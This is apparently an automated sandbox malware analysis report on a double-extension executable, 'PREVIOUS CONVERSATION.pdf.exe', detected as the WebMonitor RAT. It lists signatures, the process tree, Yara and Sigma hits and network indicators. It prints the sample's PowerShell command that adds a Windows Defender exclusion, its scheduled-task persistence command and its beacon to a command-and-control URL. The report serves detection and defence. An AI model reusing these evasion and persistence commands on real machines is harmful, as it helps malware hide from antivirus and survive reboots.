Play interactive tour

Edit tour

Windows Analysis Report PREVIOUS CONVERSATION.pdf.exe

Overview

General Information

Sample Name:	PREVIOUS CONVERSATION.pdf.exe
Analysis ID:	534663
MD5:	28241aafe5b6018c984e310c33e9e48b
SHA1:	d126c0cf51a98d9f3bd38efa6e61d4091104c624
SHA256:	9e6563c2c5e8a869bfdbf4ff1336bf2abcd238695d87f79a01b308216acc9cb5
Tags:	exe
Infos:
Most interesting Screenshot:

Detection

WebMonitor RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM3

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Yara detected WebMonitor RAT

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Initial sample is a PE file and has a suspicious name

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Contain functionality to detect virtual machines

.NET source code contains potential unpacker

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect virtualization through RDTSC time measurements

Adds a directory exclusion to Windows Defender

Creates autostart registry keys with suspicious names

Uses an obfuscated file name to hide its real file extension (double extension)

Uses schtasks.exe or at.exe to add and modify task schedules

Installs a global keyboard hook

Contains functionality to register a low level keyboard hook

Sigma detected: Suspicius Add Task From User AppData Temp

Sigma detected: Powershell Defender Exclusion

Potentially malicious time measurement code found

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Antivirus or Machine Learning detection for unpacked file

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Creates files inside the system directory

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

PREVIOUS CONVERSATION.pdf.exe (PID: 5068 cmdline: "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe" MD5: 28241AAFE5B6018C984E310C33E9E48B)

powershell.exe (PID: 6508 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 3716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5392 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 6596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 3240 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000008.00000000.673437502.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000008.00000000.674726830.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000008.00000000.674213320.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.687161020.00000000067D1000.00000004.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000008.00000000.672927900.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000008.00000000.675249725.0000000000400000.00000040.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
00000000.00000002.682283890.0000000003E12000.00000004.00000001.sdmp	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
Process Memory Space: PREVIOUS CONVERSATION.pdf.exe PID: 5068	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: PREVIOUS CONVERSATION.pdf.exe PID: 5068	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 3240	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
Click to see the 7 entries

Unpacked PEs

Source	Rule	Description	Author
8.0.RegSvcs.exe.400000.3.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.2.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
0.2.PREVIOUS CONVERSATION.pdf.exe.25b0d44.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
8.0.RegSvcs.exe.400000.1.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.2.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.4.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.1.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.5.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.0.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.3.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.2.RegSvcs.exe.400000.0.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.5.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
8.0.RegSvcs.exe.400000.4.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.raw.unpack	JoeSecurity_WebMonitor	Yara detected WebMonitor RAT	Joe Security
Click to see the 13 entries

Sigma Overview

System Summary:

Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments

Show sources

Source: Process started

Author: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe" , ParentImage: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe, ParentProcessId: 5068, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 3240

Sigma detected: Suspicius Add Task From User AppData Temp

Show sources

Source: Process started

Author: frack113: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe" , ParentImage: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe, ParentProcessId: 5068, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp, ProcessId: 5392

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe" , ParentImage: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe, ParentProcessId: 5068, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe, ProcessId: 6508

Sigma detected: Possible Applocker Bypass

Show sources

Source: Process started

Author: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ParentCommandLine: "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe" , ParentImage: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe, ParentProcessId: 5068, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 3240

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe" , ParentImage: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe, ParentProcessId: 5068, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe, ProcessId: 6508

Sigma detected: T1086 PowerShell Execution

Show sources

Source: Pipe created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: PipeName: \PSHost.132832630913530242.6508.DefaultAppDomain.powershell

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: https://niiarmah.wm01.to/recv5.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Show sources

Source: PREVIOUS CONVERSATION.pdf.exe	Virustotal: Detection: 25%			Perma Link
Source: PREVIOUS CONVERSATION.pdf.exe	ReversingLabs: Detection: 25%

Multi AV Scanner detection for domain / URL

Show sources

Source: niiarmah.wm01.to

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe

ReversingLabs: Detection: 40%

Source: 8.0.RegSvcs.exe.400000.1.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 8.0.RegSvcs.exe.400000.2.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 8.0.RegSvcs.exe.400000.3.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.0.RegSvcs.exe.400000.0.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 8.0.RegSvcs.exe.400000.4.unpack	Avira: Label: TR/Crypt.EPACK.Gen2
Source: 8.0.RegSvcs.exe.400000.5.unpack	Avira: Label: TR/Crypt.EPACK.Gen2

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: unknown	HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.4:49833 version: TLS 1.2

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic

Snort IDS: 2032361 ET TROJAN WebMonitor/RevCode RAT CnC Domain in DNS Lookup 192.168.2.4:56627 -> 8.8.8.8:53

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

ASN Name: MVPShttpswwwmvpsnetEU MVPShttpswwwmvpsnetEU

Source: Joe Sandbox View	IP Address: 194.58.200.20 194.58.200.20
Source: Joe Sandbox View	IP Address: 45.153.186.90 45.153.186.90

Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000008.00000002.932538400.0000000003F12000.00000004.00000001.sdmp	String found in binary or memory: https://niiarmah.wm01.to/recv5.phpE

Source: unknown

DNS traffic detected: queries for: sdns.se

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 1.2.4.8
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114
Source: unknown	UDP traffic detected without corresponding DNS query: 114.114.114.114

Source: unknown

HTTP traffic detected: POST /recv5.php HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedUser-Agent: WebMonitor ClientHost: niiarmah.wm01.toContent-Length: 188Cache-Control: no-cache

Source: unknown	HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.153.186.90:443 -> 192.168.2.4:49833 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Installs a global keyboard hook

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Jump to behavior

Contains functionality to register a low level keyboard hook

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_0043656A SetWindowsHookExW 0000000D,0043527C,00000000

8_2_0043656A

Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677502116.0000000000A58000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary:

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: PREVIOUS CONVERSATION.pdf.exe

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008AE5E9	0_2_008AE5E9
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008AE5F0	0_2_008AE5F0
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Code function: 0_2_008AC66C	0_2_008AC66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004AFFF3	8_2_004AFFF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004B5179	8_2_004B5179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0043C25A	8_2_0043C25A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004A444D	8_2_004A444D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004A467C	8_2_004A467C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004B48E4	8_2_004B48E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004A48AB	8_2_004A48AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004BFB2B	8_2_004BFB2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_0049FC6A	8_2_0049FC6A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004A0C10	8_2_004A0C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 8_2_004A8FD0	8_2_004A8FD0

Source: PREVIOUS CONVERSATION.pdf.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: FeqVzOoxhxw.exe.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\d70d27bc.bin

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0049D90B appears 114 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0049DF50 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0049D93F appears 50 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_004382E8 NtQueryInformationProcess,

8_2_004382E8

Source: PREVIOUS CONVERSATION.pdf.exe	Binary or memory string: OriginalFilename vs PREVIOUS CONVERSATION.pdf.exe
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameInnerException.dll" vs PREVIOUS CONVERSATION.pdf.exe
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.678782702.0000000003591000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameGameFramework.dll> vs PREVIOUS CONVERSATION.pdf.exe
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677502116.0000000000A58000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PREVIOUS CONVERSATION.pdf.exe
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.685448193.0000000005830000.00000004.00020000.sdmp	Binary or memory string: OriginalFilenameGameFramework.dll> vs PREVIOUS CONVERSATION.pdf.exe
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.681838149.0000000003989000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameGameFramework.dll> vs PREVIOUS CONVERSATION.pdf.exe
Source: PREVIOUS CONVERSATION.pdf.exe	Binary or memory string: OriginalFilenameSTOREASSEMBLYSTATUSFLA.exeL vs PREVIOUS CONVERSATION.pdf.exe

Source: PREVIOUS CONVERSATION.pdf.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

File created: C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@9/9@25/2

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: PREVIOUS CONVERSATION.pdf.exe	Virustotal: Detection: 25%
Source: PREVIOUS CONVERSATION.pdf.exe	ReversingLabs: Detection: 25%

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

File read: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe "C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe"
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
